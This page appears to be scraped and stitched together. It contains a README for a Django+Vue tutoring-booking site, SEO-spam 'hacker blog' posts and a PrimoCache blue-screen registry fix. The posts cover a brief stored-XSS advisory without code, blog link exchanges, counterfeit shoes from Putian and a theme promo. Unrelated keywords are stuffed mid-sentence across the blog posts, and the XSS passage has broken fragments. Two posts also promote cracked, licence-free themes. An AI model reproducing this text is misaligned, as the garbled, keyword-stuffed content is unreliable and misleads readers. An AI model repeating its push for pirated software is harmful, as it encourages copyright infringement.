
后端运行步骤
(1) 安装 python 3.8

(2) 安装依赖。进入 server 目录下,执行 pip install -r requirements.txt

(3) 安装 mysql 5.7 数据库,并创建数据库,创建 SQL 如下:

CREATE DATABASE IF NOT EXISTS python_jiajiao DEFAULT CHARSET utf8 COLLATE utf8_general_ci

(4) 恢复 sql 数据。在 mysql 下依次执行如下命令:

mysql> use xxx;
mysql> source D:/xxx/xxx/xxx.sql;

(5) 启动 django 服务。在 server 目录下执行:

python manage.py runserver

前端运行步骤
(1) 安装 node 16.14

(2) 进入 web 目录下,安装依赖,执行:

npm install 

(3) 运行项目

npm run dev

界面预览

  • 首页
    基于 Python +django+vue 开发的家教预约网站首页
  • 后台页面
    基于 Python +django+vue 开发的家教预约网站后台

待完善功能

  • 邮箱推送功能
  • 手机号绑定功能
  • 粉丝关注功能

源码地址

https://github.com/geeeeeeeek/python_jiajiao

  纯情博客为您提供最新网络安全黑客博客信息资讯

  1 今天关注

  安全警告:论坛插件存在存储型XSS漏洞,影响2.5.9版本之前的所有版本

  近日,母公司发布了2.5.9版本。 在该官方论坛插件最新版本中,修复了一个威胁程度较高的存储型XSS漏洞。 影响范围包括现有版本网络培训脚本插件chatgpt plus,即<2.5.9版本都会受到影响。

  据网站统计wordpress作者信息插件,目前有超过30万个网站使用该插件。 据悉黑客技术培训脚本,该漏洞为存储型XSS漏洞。 此类漏洞与反射型XSS漏洞并称为XSS漏洞的两大类。 我们知道wordpress作者信息插件,在存储型XSS漏洞中chatgpt pluschatgpt plus,攻击者可以利用该漏洞在Web平台中植入恶意代码网络培训脚本插件,并且恶意代码会存储在后台或者数据库中,然后当其他用户访问受影响的页面时,攻击者会执行之前植入的恶意代码,从而实现跨站攻击。

  用户提及插件功能存在XSS漏洞

  wordpress作者信息插件

  在这种情况下,一开始,来自 . 带有嵌套链接的 HTML 结构。)chatgpt plus,可以在论坛帖子中存储恶意代码。 这些文章将被存储在数据库中wordpress作者信息插件,并稍后向后续访问者显示。 如果攻击者技术比较成熟,可以通过这种方式从版主或管理员那里窃取,并以管理员身份进行操作,从而实现权限提升。

  漏洞处置时间表

  wordpress作者信息插件

  4月12日:安全团队向管理员报告该漏洞;

  5月2日:2.5.9修复版本发布wordpress作者信息插件,问题已解决;

  5 月 3 日:安全团队发布了该漏洞的详细信息。

  原文链接:

  纯情博客为您提供最新网络安全黑客博客信息资讯

  在如今的互联网时代chatgpt,拥有一个个性化的博客已经成为许多人追求的目标。而要实现这一目标网站源码,是一个不可或缺的工具。作为最受欢迎的博客平台之一,不仅提供了简单易用的界面和丰富多样的主题wordpress 友情连接,还支持友情连接功能,帮助你扩展博客网络,增加流量和影响力。

  那么,什么是友情连接呢?简单来说,友情连接就是在你的博客上放置其他博主的链接,并与他们建立联系。通过友情连接,你可以与其他博主互相推荐,分享读者资源,提高互动和合作机会。下面就让我们来看看如何利用的友情连接功能来打造你的博客网络吧!

  1.寻找合适的友情链接伙伴

  首先,你需要寻找与你博客主题相关或有相似读者群体的其他博主作为友情链接伙伴。可以通过搜索引擎、社交媒体或专业论坛等渠道找到潜在合作对象。关注他们的内容质量、影响力以及是否愿意与其他博主建立友情连接。

  2.发送友情链接邀请

  一旦确定了合适的友情链接伙伴,你可以通过邮件或私信等方式向他们发送友情链接邀请。在邀请中简要介绍自己的博客主题和定位,说明希望与对方建立友情连接的原因,并提供你的博客链接和联系方式。

  3.设计友情连接展示方式

  在中,你可以使用侧边栏、导航菜单或专门的页面来展示友情连接。选择一个合适的位置,并考虑如何以吸引人眼球的方式呈现。可以使用卡片式展示、图标加文字等形式,让读者对友情链接产生兴趣并点击进入。

  4.定期更新和维护

  建立了友情连接后,定期更新和维护非常重要。确保所有链接都是有效的,并及时删除失效或不合适的链接。另外,在你的博客上展示其他博主的链接时,也希望对方能够在自己的博客上展示你的链接,互相促进。

  5.互相支持和合作

  通过友情连接,你不仅可以增加流量和影响力wordpress 友情连接,还能与其他博主进行更深层次的合作。例如,可以互相撰写嘉宾文章、共同举办在线活动或推广对方的优质内容。通过互相支持和合作,你的博客网络将不断壮大。

  6.案例分享:黑客博客

  举一个案例来说明友情连接的重要性和价值。黑客博客是一个专门分享网络安全和技术攻防知识的博客。他们通过友情连接与其他安全领域的博主建立了紧密的联系wordpress 友情连接,相互推荐优秀的内容和资源。这使得黑客博客在网络安全领域拥有了更广泛的影响力,并吸引了大量读者。

  7.主题选择与破解

  在使用搭建博客时chatgpt培训脚本,主题选择是非常重要的一环。如果你想要更多个性化的功能和样式wordpress主题收费主题,可以考虑使用破解版主题。破解版主题通常提供了更多高级功能网络培训脚本插件,并且可以免授权使用。但请注意chatgpt plus,使用破解版主题需要谨慎,确保下载源可靠,并遵守相关法律法规。

  8.免授权破解:主题

  除了,还有其他博客平台也提供了友情连接功能,比如。是一款简洁、快速、安全的开源博客系统,也受到了许多博主的喜爱。如果你想要使用并享受免授权破解的好处,可以在黑客博客等技术社区寻找相关资源和教程。

  友情连接是打造博客网络的重要一环,通过与其他博主建立联系,你可以扩展读者群体、提高影响力wordpress 友情连接,并获得更多合作机会。不管你选择使用还是其他博客平台,友情连接都是一个值得尝试的策略。赶快行动起来,打造属于自己的博客网络吧!

  这就是关于友情连接的介绍和指南,希望对你有所帮助。如果有任何问题或意见,请随时在评论区留言。同时也欢迎访问黑客博客网站获取更多有关网站源码和主题的信息。祝你在博客之路上取得成功!

  纯情博客为您提供最新网络安全黑客博客信息资讯

  你千辛万苦从海淘买回来的耐克、阿迪达斯、新百伦可能都是“莆田品牌”。

  /

  5月29日,福建莆田官网发表题为《促进鞋类电商市场健康发展》的文章。

  这是一份会议报告。 文章称,5月28日上午,(莆田)副市长陈慧前主持召开专题协调会议,研究部署进一步工作收费插件,推动鞋业电商市场健康规范发展。

  陈慧干表示typecho主题,鞋业是莆田的一大传统产业……针对近期媒体曝光的假冒鞋物流诈骗等问题,要继续加大力度查处一批案件,有效震慑违法行为。

  媒体曝光的假鞋物流造假问题,指的是5月20日曝光的一段视频

  视频中顺丰快递网站源码网站源码,福建莆田的一些鞋厂主要生产假冒耐克、阿迪达斯、新款运动鞋。 顺丰速运、四通易达等快递公司的“收货点”提供异地网上服务,并设立虚假的海外物流查询网站,帮助厂家编造海外发货信息,掩盖真实的发货地点。

  您可以点击视频了解暗访内容↓↓

  未公开的采访视频显示,用户购买的阿迪达斯、耐克、新百伦等名牌运动鞋很多都是国产山寨货,且来自福建莆田。

  一些快递代收点公然提供异地网上服务,甚至搭建虚假的海外物流查询网站,帮助国内厂商编造香港、美国等地的发货信息,将假货变成海外购买的正品。 其中,列为顺丰速运的收货点只需35元即可伪造来自美国的快件物流信息。 在挂牌的韵达快递收货点也可实现“香港派送”,价格仅需22元。

  未经通知的记者亲自测试了所购买的“假运单号”,一位圆通快递员展示了某运单号:“美国国际公司已接收、发送、发送至北京中转中心……”

  韵达的快递单号在官网也显示为国际包裹:“香港跨境仓公司已收到包裹,已在香港离岸清关……”

  那么这样的“异地上线”是如何实现的呢?

  快递行业人士表示,快递单号就像一个人的身份证号码。 任何一个运单号都有其所属的快递营业网点,并且区域之间存在一一对应的关系。 如果国内快递网点可以拿到美国或香港网点的运单号,然后使用美国和香港网点的代码登录扫描设备,只要同时满足这两个条件,相当于美国香港网站。 扫描操作。

  因此,国内买家会认为货物确实是从海外寄来的。 但事实上,货很可能是在国内网点发出的!

  如果买家有点怀疑怎么办?

  造假者也想到了这一点,所以他们还专门设立了海外运费查询网站,可以随时查询所谓的“实时海外运费更新信息”。

  工作人员得意地说:“顾客就是来忽悠你的!”

  顺丰快递网站源码

  顺丰回应:属黄牛行为,无内部协助

  目前,该视频的浏览量已超过1400万次。 对此渗透测试,顺丰速运方面向北京商报记者表示,该视频拍摄于非顺丰速运网点,且视频中涉及的网站是黄牛搭建的网站,内部并无合作。 顺丰速运表示,莆田寄送假货现象一直存在。 从地下工厂生产、电商平台销售,到黄牛充当中间人提货送货,一条巨大的黑色产业链已经形成。 2015年以来,该公司已向当地执法部门举报6次,联合打击假货配送中心,每年拒收来自莆田安福市场的快件近300万件。

  对于顺丰速运官网可查到假快件的问题,顺丰速运相关负责人解释称,由于顺丰速运系统屏蔽了部分莆田的快件订单,黑代理不会从莆田发货,但还去了深圳等地。 顺丰速运很难查明这部分订单的实际来源。

  圆通还向北京商报记者表示,公司对个别加盟商违反法律法规的行为感到愤慨,也向受骗的消费者致歉。 此前,一拖相关部门已发现并掌握个别加盟商为不法企业提供虚假快递路线信息的情况,关闭了多家国内加盟商的所谓海外客户账户,并积极查处假冒产品经销行为。中心和非法生产公司。 配合执法部门,从源头打击假冒直邮链条。 对于帮助假冒直邮的加盟网点,一拖已采取列入公司诚信体系“黑名单”、取消加盟资格等严厉措施。 非法网点将移交执法部门。

  业内人士表示,仅凭企业行为很难杜绝本土伪造海购订单的现实。 以视频中从深圳发货的国内快递单为例,黄牛从当地收到货后,可以组织发货到外地。 快递公司很难识别并打击这种行为。 顺丰速运还表示,打击假货不是单一企业能够完成的任务,而是需要全行业、全社会的共同努力,社会共治是杜绝假货的最佳方案。

  莆田的负面新闻

  这并不是莆田第一次被推到风口浪尖。

  2011年1月,马云发现阿里巴巴内部员工存在舞弊行为,于是展开调查。 经调查发现,2009年和2010年顺丰快递网站源码,分别有1,219名和1,107名阿里巴巴会员参与诈骗全球买家,有迹象表明,为了业绩,有超过100名员工默许甚至参与协助那些欺诈公司逃避认证程序并加入阿里巴巴平台。

  调查结果出来后,马云勃然大怒。 2月21日,阿里巴巴CEO卫哲和COO李旭辉辞职。

  逼迫马云泪流满面杀死卫哲的千余名诈骗供应商,大部分都来自同一个地方。

  据《中国新闻周刊》报道,阿里巴巴《关于阿里巴巴调查处理部分客户涉嫌欺诈行为的报告》中提到,“欺诈供应商”大部分来自福建省莆田市,并形成组织网络。 在阿里巴巴的一份欺诈客户表格中,前79位客户姓名均含有“莆田市”字样。 这些“欺诈供应商”也在全国范围内注册公司,以逃避阿里巴巴的防控机制。

  马云曾呼吁媒体关注福建莆田、泉州的黑色产业链,“去看看,你会震惊的”。

  2015年至2016年,在阿里巴巴协助下,福建省莆田市公安局打掉4家黑鞋厂,涉及阿迪达斯、耐克等多个知名品牌的假鞋,总案值数十万元。数百万。

  莆田,被誉为“假鞋之都”

  顺丰快递网站源码

  制鞋业是莆田的经济支柱。 据莆田市最新数据,今年1-3月,制鞋业实现工业增加值58.8亿元,增长12.1%,对规模以上工业经济增长的贡献率为35.7%,带动全市工业经济增长2.6个百分点。 目前,莆田有上千家制鞋企业,每年生产运动鞋数亿双typecho插件,年产值超过600亿元。 在这里,年产值超过2000万元的工厂才算是“规模化”。 直接从事鞋业的人数超过30万,占这个小镇人口的近十分之一。

  然而,莆田假鞋依然猖獗。 广为流传的说法是,国内市场上十双假鞋,就有九双是从这里发货的; 世界上每 3 双耐克鞋中就有一双来自这里。 莆田假鞋为何屡禁不止? 这背后的产业链是如何形成的?

  20世纪80年代,由于莆田与台湾隔海相望,莆田吸引了大量台商在此设立鞋厂,为众多国内外品牌生产鞋子。 以耐克、阿迪达斯、锐步为代表的运动品牌占据莆田制鞋的最大份额。 制鞋业逐渐成为莆田的支柱产业。 近10年来,制鞋业占当地GDP的比重从10%飙升至43%。

  在莆田,这些国际大牌代工厂的产品是严格禁止流出的。 但在日常运营中,总会有一些鞋子超出订单数量而滞留在当地。 在利益的驱动下,这些所谓的“尾单”鞋被莆田人倒卖到国外,加上当地制鞋原材料和人力成本低廉,高仿鞋产业才刚刚兴起。

  渐渐地,铸造厂的工人被贿赂,走私出样品鞋或设计图纸。 从一个小作坊做起,生意越来越红火。 当代工厂由于劳动力成本问题转移到其他地方后,大量员工被转移到假鞋的制造中。 大多数是在家庭小作坊和小工厂生产的。 莆田市各个村镇、街道的房屋中。

  一个或几个家庭购买制鞋设备,雇佣工人,闭门生产。 日产量可超过1000双。 为了配合执法部门打假,在门口安装摄像头、在门内养狗已成为这些作坊的标配。 到2004年,莆田街上十家店铺就有六家是仿鞋店,白天半开门营业。

  外贸经历了几年的“最后订单”后顺丰快递网站源码,遭到外国打压。 莆田人开始开拓国内市场。 事实上,福建晋江的假鞋行业发展早于莆田,但随着电商平台的发展,莆田后来居上,一度被外界戏称为“假鞋之都”。

  这么多人造鞋、假鞋必然是有利可图的。 以零售匡威高仿鞋为例。 中间商从莆田进货80元,在电商平台上将价格提高到299元。 另一个例子是耐克。 生产假鞋的成本只有几十元,每双在100元左右。 价格出货国内 chatgpt,然后通过电商渠道流向市场,每双的价格在500多元。

  “鬼市”里的人们回避“假”字

  说到莆田的假鞋,就不能不提到安福电器城,传说中的假鞋“鬼市”。

  白天网站源码,这里几乎是空的; 晚上,商店零星开门; 夜晚,摩托车、面包车来来往往,有时一分钟就有数百辆车驶过。 车上装卸的包装上印着耐克等知名鞋品牌……这就是“鬼市”的常态。

  顺丰快递网站源码

  这里有335家上市商户。 年交易额超过100亿元,行业在线企业数量超过20万家。 “鬼市”上的假鞋通过网络销售平台分布到全国各地,鞋类产品网上销量至少占到全国的20%。 虽然当地人说近几年假鞋销售的黄金期已不再,但日本邮政在这里的投递量依然超过15万双。

  莆田人中间流传着这样一个笑话:别小看那些晚上提着写着“搬运鞋”的大箱子到处跑的骑手。 他们白天可能会开豪车,甚至是奔驰、宝马、路虎。 向下。

  “鬼市”里的人们回避“假”字。 他们发明了自己的话语体系:“正品标准”、“高仿”、“1:1”,造假者被称为“阿毛”。

  阿毛产业链的细分程度令人咋舌。 数千家鞋厂生产鞋子,数万家商店成为中转站,数十万家互联网公司开设网上商店作为微商。 下游产业链包括手机、电话卡、鞋盒、鞋带、商标、防伪码,甚至还有快递用的胶带和一端可以写字、另一端可以剪胶带的圆珠笔。

  莆田的假鞋行业不仅制鞋技术齐全,而且在包装、发票、防伪标签等细节上,更是真假难辨。 在鬼市里,20元就可以买到一大包耐克、阿迪达斯的包装、发票、POS机采购单; 防伪标签16个,每个5毛钱。

  用手机扫描这些发票的二维码,页面上就会弹出专卖店的地址; 刮掉涂层,登录所谓的“国家质量防伪监督中心”网站,输入验证码后果然可以找到。 如果你有足够的精力去查,还可以发现该弹出页面是用二维码生成软件制作的,而所谓​​的查验网站也涉嫌“山寨”,其ICP备案的组织者信息是一家私人公司。 但在外行看来,确实很容易被骗。

  假鞋越来越薄

  既然莆田已经拥有成熟的制鞋技术,为什么他们仍然选择做高仿鞋,而不是逐步培育自己的品牌,养育自己的“孩子”呢?

  鬼市的一位鞋商表示:“高仿鞋很简单,制作工艺也几乎一样,只要贴上牌子,就能以名牌价格出售,还能避免期间的各种专利费。”的过程。” 优点是节省了设计开发、品牌推广和运营的成本,并以低于正品、高于杂牌鞋的价格出售,利润可观。

  此外,莆田鞋业虽然在多年的代工生产中形成了完整的制鞋产业链渗透测试,但在品牌建设方面缺乏经验。 对于中小型鞋厂来说,打造品牌的成本是难以承受的。 且不说推广和销售的问题,当普通厂商推出新潮产品但尚未获得专利权时,可能就已经被“山寨”了。

  2014年,时任莆田市市长翁玉耀上台为莆田运动鞋代言,代言莆田品牌。 莆田还看到了阿迪王、洛池、万米、斯维奇、沃特等一些本土品牌。 为了避免同质化竞争,洛驰选择只做户外登山鞋。 截至2013年底,已在全国开设专卖店近200家。 该鞋还出口到欧洲和韩国,售价为每双60美元。 但2014年,洛池被银行收紧贷款,资金链断裂,年底被迫停产。

  另一品牌的6万次耐折鞋底,比国外大品牌的4万次可折叠鞋底还要高。 鼎盛时期,全国有实体店2000家,直营店投资100万,加盟店投资30万至50万。 然而,由于近年来租金上涨,沃尔特关闭了一些商店。

  在2016年的投资者大会上,马云表示:“大品牌通常会使用很多代工企业(OEM),而中国拥有全球最多的代工企业,可以生产出达到国际标准的高质量产品,但他们没有自己的品牌。”自己的销售渠道顺丰快递网站源码,突然发现可以通过网络销售自己的产品,同一家工厂可能生产正品,也可能生产假冒产品,而且后者的质量并不逊色于前者,而且价格更有优势。他们面临的不是知识产权问题,而是新的商业模式问题。”

  未来十年,劳动力成本将持续上升。 莆田当地鞋业人士逐渐发现情况不妙:全国鞋业电商企业越来越多,竞争日益加剧; 与此同时,部分制鞋原材料的价格已从一年前的每吨1万元涨至2万元,利润越来越薄。

  对于莆田来说,鞋业的品牌争夺战已经越来越近。

  纯情博客为您提供最新网络安全黑客博客信息资讯

  作为目前最受欢迎的内容管理系统之一渗透测试,提供了丰富多样的主题供用户选择。而在众多主题中,大学主题无疑是教育机构和个人教育者们的首选。无论是大学、高中、初中、培训机构,还是在线教育平台,都可以通过使用大学主题来打造一个专业、功能齐全的教育网站。

  一、完美适配各类教育机构

  大学主题提供了多种布局和风格,完美适配各类教育机构的需求。你可以选择不同的页面模板和颜色方案,根据自己的品牌形象进行定制。而且,该主题还支持响应式设计,确保在各种设备上都能够良好地显示。

  二、丰富多样的功能模块

  大学主题内置了许多实用的功能模块,帮助你轻松创建和管理教育内容。你可以添加课程目录、讲师介绍、学生评价等模块,展示你的教育资源和优势。此外,还有在线报名系统、课程表、成绩查询等功能,为学生和家长提供便捷的服务。

  三、强大的学习管理系统

  wordpress大学主题下载

  作为一款专业的教育主题,大学主题还集成了学习管理系统(LMS),方便教师和学生进行在线学习和交流。通过该系统chatgpt,教师可以发布课程资料、布置作业、批改试卷等;学生可以在线学习、提交作业、参与讨论等。这样的功能极大地提高了教育效果和学习体验。

  四、友好的社交互动功能

  在如今的社交媒体时代chatgpt,与学生和家长进行良好的互动至关重要。大学主题内置了社交分享按钮和评论系统,方便用户在网站上分享有价值的内容,并与其他用户进行互动和讨论。这不仅增加了用户粘性typecho主题,还有助于树立良好的品牌形象。

  五、灵活定制和扩展性

  大学主题提供了丰富的定制选项wordpress大学主题下载,使你可以根据自己的需求来调整布局、颜色、字体等。此外,该主题还支持插件扩展,你可以根据自己的需要添加各种功能wordpress大学主题下载黑客纯情,如在线支付、课程推荐等。

  六、案例分析:黑客博客网站源码

  以黑客博客为例,他们使用大学主题打造了一个专业的技术教育平台。通过该网站,用户可以学习网络安全知识、获取最新的黑客攻防技术等。该网站采用了响应式设计,让用户无论在电脑、手机还是平板上都能够方便地浏览和学习。

  七、案例分析:主题网站源码免授权破解

  另外一个案例是使用主题来搭建个人博客。是一款简洁、易用的博客系统,通过使用破解版的主题源码,用户可以获得更多的自定义选项和功能扩展。这样黑客技术,你就可以打造一个个性化的博客wordpress大学主题下载,展示自己的知识和观点。

  wordpress大学主题下载

  总结:

  大学主题是教育机构和个人教育者们打造专业教育网站的理想选择。它提供了丰富多样的功能模块、强大的学习管理系统和友好的社交互动功能。无论你是想创建一个大学网站、中小学教育平台还是在线培训机构,大学主题都能满足你的需求。同时,我们也分享了黑客博客网站源码和主题网站源码免授权破解的案例wordpress大学主题下载,希望对你有所启发。开始使用大学主题,打造一个专业的教育网站吧!

  (本文中提到的黑客博客网站源码、主题破解版、主题网站源码免授权破解等信息仅供参考chatgpt plus,请遵守相关法律法规收费主题,合理使用。

关于Promocache 蓝屏的一些经验

情况说明:系统win11, 64G威刚DDR4 3600MHz物理内存(实际频率2666Mhz,铭瑄Z690主板4个内存槽无法同时XMP),三星980固态,
机器上已装了运行将近一年的 primo Ramdisk,占用物理内存8G.
昨日使用源自知乎的链接https://zhuanlan.zhihu.com/p/549558565?utm_id=0,尝试了下primocache 4.2,按照教程设置了一级缓存:
系统已识别内存设置了2G,缓存粒度4k(大概设置了小了,16K就好),取消了延迟写入(即即时写入)。在 目标逻辑卷专属设置中,
取消了C盘的缓存加速。
设置好的当时,哇,电脑飞一般的感觉。然后重启,蓝屏了。拿微信扫了蓝屏二维码,跳出来的网页没有获得任何有用信息。WIN7时代蓝屏还告诉你
故障代码。然后用平板网络上一通找。最后找到了解决方法 https://forum.romexsoftware.com/en-us/viewtopic.php?t=5246
简单的说:进入老毛桃之类的winPE,左下角点击运行 ,输入regedit
选中 "HKEY_LOCAL_MACHINE",处于高亮状态
Regedit窗口左上角菜单,点击 文件 --加载配置单元,跳出来的文件选择对话框,找到原系统安装磁盘的如下路径
/Windows/System32/config/SYSTEM
最后的SYSTEM是config文件夹下,没有扩展名,只有文件名的文件SYSTEM
取个名字 输入 MyWin
然后展开 HKEY_LOCAL_MACHINE/MyWin ,通过查找关键词 FancyCcV定位到 ControlSet00x/Control/Class/{71a27cdd-812a-11d0-bec7-08002be2092f}
左侧高亮选中{71a27cdd-812a-11d0-bec7-08002be2092f},右侧窗口可看到数值名称为 "LowerFilters" 的项,双击修改,可看到 FancyCcV ,删去即可。
然后 Regedit窗口左上角菜单,点击 文件 --卸载配置单元。
重启电脑,即可重新进入系统。